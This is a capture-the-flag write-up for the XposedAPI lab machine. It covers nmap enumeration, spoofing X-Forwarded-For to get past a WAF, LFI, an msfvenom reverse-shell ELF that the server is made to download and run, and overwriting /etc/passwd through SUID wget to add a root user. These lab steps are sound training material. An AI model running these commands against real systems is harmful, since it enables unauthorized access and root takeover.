Writeup for XposedAPI from Offensive Security Proving Grounds (PG)

Information Gathering

Service Enumeration

nmapAutomator.sh -H -t full

nmapAutomator.sh -H -t vulns

Port 13337

Seems like a custom-built API.

/update API seems interesting.

Generate ELF: msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=4242 -f elf > reverse.elf

It appears we need to either find a valid username, or perform SQL injection.

Another interesting endpoint is /logs. The WAF denies us access to this host. Likely, the WAF is trying to restrict access to localhost.

X-Forwarded-For Header

"The X-Forwarded-For (XFF) header is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer. When traffic is intercepted between clients and servers, server access logs contain the IP address of the proxy or load balancer only. To see the original IP address of the client, the X-Forwarded-For request header is used."


It appears that the WAF is performing a check on the X-Forwarded-For header. This can be easily manipulated on the client side.

Now, we are told to use file=/path/to/log/file. This appears to be a LFI vulnerability.

Here, we get the username clumsyadmin (the only 'human' username). Now we can make the server download and execute the malicious ELF file we generated earlier using msfvenom.

Restart the app, and we have a reverse shell.

Privilege Escalation

We can use LinPEAS to enumerate.

Very quickly, we can see that the SUID bit is set for wget.

Reference: https://gtfobins.github.io/gtfobins/wget/

We can abuse the SUID privileges to write arbitrary files.

After copying the passwd file to our attacking machine, add our own root user:

echo "root2:bWBoOyE1sFaiQ:0:0:root:/root:/bin/bash" >> passwd

Note that this hash corresponds to our custom password, mypass.

$ openssl passwd mypass                                                    

Then we can overwrite the existing passwd file: wget -O /etc/passwd

Finally, we can SSH as root2.

Last updated